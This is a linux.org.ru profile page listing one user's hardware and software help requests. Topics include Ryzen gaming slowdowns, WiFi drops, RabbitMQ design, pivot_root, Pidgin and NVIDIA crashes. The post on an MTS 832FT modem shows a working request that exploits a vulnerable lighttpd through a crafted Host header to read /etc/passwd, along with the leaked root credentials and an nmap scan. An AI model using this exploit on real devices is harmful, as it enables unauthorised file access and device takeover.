LINUX.ORG.RU

Сообщения nuke666

 

Тормозят игры на AMD Ryzen 5 3500U

Привет, лор.

Проблема следующая: тормозят игры на сбаже. Находится он в ноутбуке IdeaPad S540-14API. Видеокарта интегрированна в процессор.

Например, metro last light, stalker: shadow of chernobyl под протоном из steam. Даже скролл страниц в стиме неюзабелен(хотя кмк это старая проблема). В оффтопике производительность превзошла ожидания, тут же еле играбельно. Этот же сталкер работал отлично даже на интеграшке от интел, с минимальными настройками.

glxinfo: https://pastebin.ubuntu.com/p/sZzqQrqzQy/

Система:

# cat /etc/debian_version 
bullseye/sid
# uname -a
Linux ideapad-s540 5.9.0-1-amd64 #1 SMP Debian 5.9.1-1 (2020-10-17) x86_64 GNU/Linux

Драйверы, как я понимаю, из коробки. Использую sddm+lxqt.

Вопрос: можно ли это пофиксить, в какую сторону копать? У кого-то в такой конфигурации удалось заставить работать эти игры? Какую ещё инфу предоставить - пишите.

UPD Как итог темы:

  1. Проверяйте исправность охлаждения, кулеры забиваются пылью за месяц
  2. Отключите boost: echo 0 > /sys/devices/system/cpu/cpufre/boost
  3. Режимы производительности можно переключать через acpi_call. Подошёл этот скрипт: https://gist.github.com/TBog/feb23e6a27b2bbe7b158268a665040ac

 , ,

nuke666
()

Проблемы с WiFi на ноутбуке Asus X550LA (RT3290)

Рандомно отключается WiFi на ноутбуке при большой нагрузке на канал. Например скачивание файлов, торрентов и т.д. Но при этом бывали дни, когда всё работало без сбоев. Проблема наблюдается независимо от роутера, места и прочих условий. Расстояние от роутера 1 метр. Использую network-manager 0.9.10.0. Перезапуск его сервиса позволяет заново подключиться к сети. dmesg в момент отключения:

[487269.831786] wlan2: authenticate with 00:0b:2b:1d:ea:38
[487269.847190] wlan2: send auth to 00:0b:2b:1d:ea:38 (try 1/3)
[487269.884189] wlan2: send auth to 00:0b:2b:1d:ea:38 (try 2/3)
[487269.923386] wlan2: send auth to 00:0b:2b:1d:ea:38 (try 3/3)
[487269.953851] wlan2: authentication with 00:0b:2b:1d:ea:38 timed out
[487287.666064] IPv6: ADDRCONF(NETDEV_UP): eth1: link is not ready
[487287.725638] IPv6: ADDRCONF(NETDEV_UP): wlan2: link is not ready
[487287.991351] r8169 0000:02:00.1 eth1: link down
[487287.991402] IPv6: ADDRCONF(NETDEV_UP): eth1: link is not ready
[487288.049279] IPv6: ADDRCONF(NETDEV_UP): wlan2: link is not ready
[487289.211683] wlan2: authenticate with 00:0b:2b:1d:ea:38
[487289.216476] wlan2: send auth to 00:0b:2b:1d:ea:38 (try 1/3)
[487289.217849] wlan2: authenticated
[487289.220514] wlan2: associate with 00:0b:2b:1d:ea:38 (try 1/3)
[487289.222507] wlan2: RX AssocResp from 00:0b:2b:1d:ea:38 (capab=0x431 status=0 aid=1)
[487289.222578] wlan2: associated
[487289.222602] IPv6: ADDRCONF(NETDEV_CHANGE): wlan2: link becomes ready
[487289.222638] cfg80211: Calling CRDA for country: RU
[487289.229175] cfg80211: Regulatory domain changed to country: RU
[487289.229178] cfg80211:  DFS Master region ETSI
[487289.229179] cfg80211:   (start_freq - end_freq @ bandwidth), (max_antenna_gain, max_eirp)
[487289.229181] cfg80211:   (2402000 KHz - 2482000 KHz @ 40000 KHz), (N/A, 2000 mBm)
[487289.229182] cfg80211:   (5170000 KHz - 5250000 KHz @ 80000 KHz), (N/A, 2000 mBm)
[487289.229183] cfg80211:   (5250000 KHz - 5330000 KHz @ 80000 KHz), (N/A, 2000 mBm)
[487289.229184] cfg80211:   (5650000 KHz - 5730000 KHz @ 80000 KHz), (N/A, 3000 mBm)
[487289.229185] cfg80211:   (5735000 KHz - 5835000 KHz @ 80000 KHz), (N/A, 3000 mBm)
[487315.657869] cfg80211: Calling CRDA to update world regulatory domain
[487315.671369] cfg80211: World regulatory domain updated:
[487315.671373] cfg80211:   (start_freq - end_freq @ bandwidth), (max_antenna_gain, max_eirp)
[487315.671375] cfg80211:   (2402000 KHz - 2472000 KHz @ 40000 KHz), (N/A, 2000 mBm)
[487315.671376] cfg80211:   (2457000 KHz - 2482000 KHz @ 40000 KHz), (N/A, 2000 mBm)
[487315.671377] cfg80211:   (2474000 KHz - 2494000 KHz @ 20000 KHz), (N/A, 2000 mBm)
[487315.671378] cfg80211:   (5170000 KHz - 5250000 KHz @ 80000 KHz), (N/A, 2000 mBm)
[487315.671379] cfg80211:   (5250000 KHz - 5330000 KHz @ 80000 KHz), (N/A, 2000 mBm)
[487315.671380] cfg80211:   (5490000 KHz - 5730000 KHz @ 160000 KHz), (N/A, 2000 mBm)
[487315.671381] cfg80211:   (5735000 KHz - 5835000 KHz @ 80000 KHz), (N/A, 2000 mBm)
[487315.671382] cfg80211:   (57240000 KHz - 63720000 KHz @ 2160000 KHz), (N/A, 0 mBm)
[487316.793659] wlan2: authenticate with 00:0b:2b:1d:ea:38
[487316.809205] wlan2: send auth to 00:0b:2b:1d:ea:38 (try 1/3)
[487316.859099] wlan2: send auth to 00:0b:2b:1d:ea:38 (try 2/3)
[487316.891089] wlan2: send auth to 00:0b:2b:1d:ea:38 (try 3/3)
[487316.916374] wlan2: authentication with 00:0b:2b:1d:ea:38 timed out
[487332.506260] IPv6: ADDRCONF(NETDEV_UP): eth1: link is not ready
[487332.534913] IPv6: ADDRCONF(NETDEV_UP): wlan2: link is not ready
[487332.790404] r8169 0000:02:00.1 eth1: link down
[487332.790461] IPv6: ADDRCONF(NETDEV_UP): eth1: link is not ready
[487332.852456] IPv6: ADDRCONF(NETDEV_UP): wlan2: link is not ready
[487334.049093] wlan2: authenticate with 00:0b:2b:1d:ea:38
[487334.055644] wlan2: send auth to 00:0b:2b:1d:ea:38 (try 1/3)
[487334.058305] wlan2: authenticated
[487334.059601] wlan2: associate with 00:0b:2b:1d:ea:38 (try 1/3)
[487334.167538] wlan2: associate with 00:0b:2b:1d:ea:38 (try 2/3)
[487334.271484] wlan2: associate with 00:0b:2b:1d:ea:38 (try 3/3)
[487334.375534] wlan2: association with 00:0b:2b:1d:ea:38 timed out
[487335.551401] wlan2: authenticate with 00:0b:2b:1d:ea:38
[487335.566804] wlan2: send auth to 00:0b:2b:1d:ea:38 (try 1/3)
[487335.567952] wlan2: authenticated
[487335.570760] wlan2: associate with 00:0b:2b:1d:ea:38 (try 1/3)
[487335.572826] wlan2: RX AssocResp from 00:0b:2b:1d:ea:38 (capab=0x431 status=0 aid=1)
[487335.572890] wlan2: associated
[487335.572910] IPv6: ADDRCONF(NETDEV_CHANGE): wlan2: link becomes ready
Информация о системе:
03:00.0 Network controller: Ralink corp. RT3290 Wireless 802.11n 1T/1R PCIe
Product Name: X550LA
Version: 1.0      
Bios:
Version: X550LA.403
Release Date: 11/26/2013

Linux 3.13-1-amd64 #1 SMP Debian 3.13.5-1 (2014-03-04) x86_64 GNU/Linux

Читал, что это может быть как-то связано с энергосбережением pci, но это направление ничем не помогло. Сталкивался ли кто-нибудь с проблемой и удалось ли её решить?

 , ,

nuke666
()

RabbitMQ через WAN / работа в нестабильных сетях

Строю архитектуру приложения на RabbitMQ. Пока идут тесты, используется стабильная локалка, и она же планировалась в продакшене. Но требования изменились и могут появиться удалённые клиенты - через интернет неизвестного качества, в самом плохом случае через 3G. Слышал, что так делать не рекомендуется и будет работать нестабильно.

Хотелось бы услышать истории успеха/неуспеха.

Решает ли возможные проблемы установка второго сервера рядом с удалёнными клиентами и связь с основным сервером через shovel?

Отдельно хотелось бы услышать отзывы о amqp-cpp. Мне он показался сыроватым, но может быть я что-то не понял?

 ,

nuke666
()

Правильное использование pivot_root

Пишу скрипт для смены rootfs. Начальная система находится на первом(mmcblk0p2) разделе, основная на следующем(mmcblk0p3). По сути хочу сделать то же самое, что и initramfs. Обе системы собраны через buildroot (busybox)

В итоге получилcя такой init:

#!/bin/sh
export PATH=/bin:/sbin:/usr/bin:/usr/sbin
mount -t proc none /proc
mount -t sysfs none /sys
ln -sf /proc/mounts /etc/mtab
/sbin/mdev -s
mount -t ext4 -o rw /dev/mmcblk0p3 /mnt/root
pivot_root /mnt/root /mnt/root/mnt/oldroot
mount -t devtmpfs none /dev
exec /usr/sbin/chroot / /bin/busybox init

В целом работает, но непонятны следующие моменты:

1) С какой целью рекомендуют делать это перед chroot

mount -n -o move /sys /mnt/root/sys
mount -n -o move /proc /mnt/root/proc
если они всё равно есть в fstab нового root и будут смонтирвоаны?

2) Если не монтировать devtmpfs для нового root, то /dev вроде как и есть - mmcblk*, tty* и т.д. в наличии, но например /dev/null - отсутствует. Если же явно монтировать, то всё работает как надо. Но в /proc/mounts почему-то не добавляется ещё один /dev, по-прежнему есть только тот, что смонтирован на oldroot. Почему так происходит?

3) Могу ли я как-то размонтировать /mnt/oldroot ? Сейчас не получается, пишет что устройство занято.

4) Кто создаёт /dev/root? Могу ли я его сменить с mmcblk0p2 на mmcblk0p3 из init скрипта?

5) Для чего мне менять / через pivot_root, нельзя ли получить тот же эффект используя только chroot?

 , ,

nuke666
()

RabbitMQ - использование общих ресурсов

Есть задача: отправить разные команды 100 клиентам. После получения команды клиент начинает скачивать файл с сервера. Но если они начнут скачивать одновременно, то сеть будет перегружена и более важные сервисы могут отвалиться. Поэтому хотелось бы сделать так, чтобы одновременно работали только например 10 клиентов.

По этой ссылке примерно то, что я хочу сделать: https://www.rabbitmq.com/blog/2014/02/19/distributed-semaphores-with-rabbitmq/ Но выглядит костыльно и в конце статьи написано, что решение не устойчиво к сбоям сети, а это неприемлемо. Я уже столкнулся с проблемой бесконечной блокировки на самописном сервере(без RabbitMQ).

Подскажите, можно ли подобное сделать на AMQP(конкретно RabbitMQ) или стоит выбрать что-то другое / продолжить писать свой велосипед?

 ,

nuke666
()

Модем МТС 832FT

В очередной раз попался модем, по которому абсолютно нет инфы.

Определяется как:

Bus 003 Device 006: ID 19d2:1225 ZTE WCDMA Technologies MSM 

Команды через веб сервер подходят от ZTE MF825 (МТС 830FT), но дополнительно нужно передать Referer: http://192.168.99.1/index.html

Например:

curl --header "Referer: http://192.168.99.1/index.html" http://192.168.99.1/goform/goform_set_cmd_process?goformId=CONNECT_NETWORK

После этого зелёный светодиод начинает мигать, но в интернет всё равно не пускает.

telnet недоступен. Удалось через уязвимый lighthttpd получить /etc/passwd, но это абсолютно ничем не помогло

# telnet 192.168.99.1 80
Trying 192.168.99.1...
Connected to 192.168.99.1.
Escape character is '^]'.
GET /etc/passwd HTTP/1.1
Host: [::1]' UNION SELECT '/

HTTP/1.1 200 OK
Content-Type: application/octet-stream
Accept-Ranges: bytes
ETag: "278546085"
Last-Modified: Thu, 01 Jan 1970 01:08:53 GMT
Content-Length: 99
Date: Thu, 01 Jan 1970 01:27:04 GMT
Server: lighttpd/1.4.19

root:admin:0:0:Root User,,,:/tmp/root:/bin/sh
reboot:admin:0:0:Root User,,,:/tmp/root:/sbin/reboot

nmap:

Nmap scan report for 192.168.99.1
Host is up (0.0013s latency).
Not shown: 990 filtered ports
PORT      STATE  SERVICE
53/tcp    open   domain
80/tcp    open   http
443/tcp   open   https
5555/tcp  open   freeciv
8080/tcp  closed http-proxy
12345/tcp open   netbus
49152/tcp closed unknown
49153/tcp closed unknown
49154/tcp closed unknown
49155/tcp closed unknown
MAC Address: D2:9D:9E:B0:C8:D9 (Unknown)

Кто-нибудь пытался настроить его? Сейчас в голову приходит только реверсить вендовое приложение, но наверно проще купить другой модем.

 ,

nuke666
()

Pidgin не отправляет определённое сообщение

Сегодня обнаружил, что если по icq отправить сообщение, содержащее русские буквы и кавычки(например т"), то оно не придёт. Проявляется если отправлять себе или на такой же клиент. Версия: Pidgin 2.10.9 (libpurple 2.10.9). В jabber всё нормально. Это у всех так? Нагуглить не смог, что за баг такой?

 ,

nuke666
()

GPU at * has fallen off the bus

С недавнего времени начала виснуть система, рандомно 1-5 раз в день.

Логи:

http://pastebin.ubuntu.com/8135098/

http://pastebin.ubuntu.com/8135099/ (Только что)

Система debian unstable

Ядро:

$ uname -a
Linux i7-power 3.14-2-amd64 #1 SMP Debian 3.14.15-2 (2014-08-09) x86_64 GNU/Linux

340.32 / GeForce GTX 550 Ti / xorg 1.12.4 (11204000)

Сначала гаснет дисплей, через некоторое время перестаёт играть музыка.

На перегрев проверял, перегреть не удалось.

Перед падением система немного тормозит, плюс открыта куча вкладок в браузере, в т.ч. с флешем. Но это может быть никак не связано.

В оффтопе раньше работало(как и в линуксе), а после начала падений я оффтоп не использовал. Поэтому проблему с железом пока не исключаю.

Как такое чинить?

 , , , ,

nuke666
()

Настройка сети в XCP

После установки xcp сетевой интерфейс(eth0) добавляется в bridge. Интернет в dom0 пропадает. XAPI слушает только на localhost.

Подскажите, что с этим делать дальше? Хочу настроить интернет в dom0 и получить удалённый доступ к xapi. Документацию(которой практически нет) читал, не помогло.

 , ,

nuke666
()

Ремонт нетбука

Попал ко мне нетбук eee pc 1215p. Суть неисправности: перестал реагировать на блок питания, при этом продолжал работать от аккумулятора, пока тот не разрядился. Быстрый осмотр ничего не дал. Пробовал подать напряжение на соответствующие контакты разъёма аккумулятора. После нажатия power включились светодиоды, ток 1А и люто нагрелся чипсет NM10. Очевидно загрузиться он не должен был, но непонятна причина нагрева..

Посоветуйте, на что обратить внимание? Есть ли смысл тратить на него время?

 

nuke666
()

RSS подписка на новые темы